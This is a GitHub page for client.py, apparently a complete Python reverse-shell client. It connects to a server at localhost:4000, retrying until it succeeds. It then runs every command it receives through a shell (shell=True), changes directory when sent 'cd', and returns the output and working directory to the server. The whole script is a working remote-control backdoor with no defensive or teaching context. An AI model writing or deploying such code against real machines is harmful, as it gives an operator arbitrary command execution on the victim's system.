-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathclient.py
34 lines (30 loc) · 958 Bytes
/
client.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import socket
import os
import subprocess
from time import sleep
host = 'localhost'
port = 4000
connected = False
s = socket.socket()
while not connected:
try:
s.connect((host, port))
print('connected')
connected = True
except:
print('connection failed !!! retrying............')
sleep(1)
while True:
data = s.recv(4096)
if(len(data.decode('utf-8'))>0 and data[:2].decode('utf-8') == 'cd'):
os.chdir(data[3:].decode('utf-8'))
if(len(data.decode('utf-8'))>0):
cmd = subprocess.Popen(data.decode('utf-8'), shell=True, stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=subprocess.PIPE)
output_byte = cmd.stdout.read().decode('utf-8') + cmd.stderr.read().decode('utf-8')
output_str = output_byte
currentWD = os.getcwd()+"> "
try:
s.send((output_str + currentWD).encode('utf-8'))
except:
pass
print(output_str)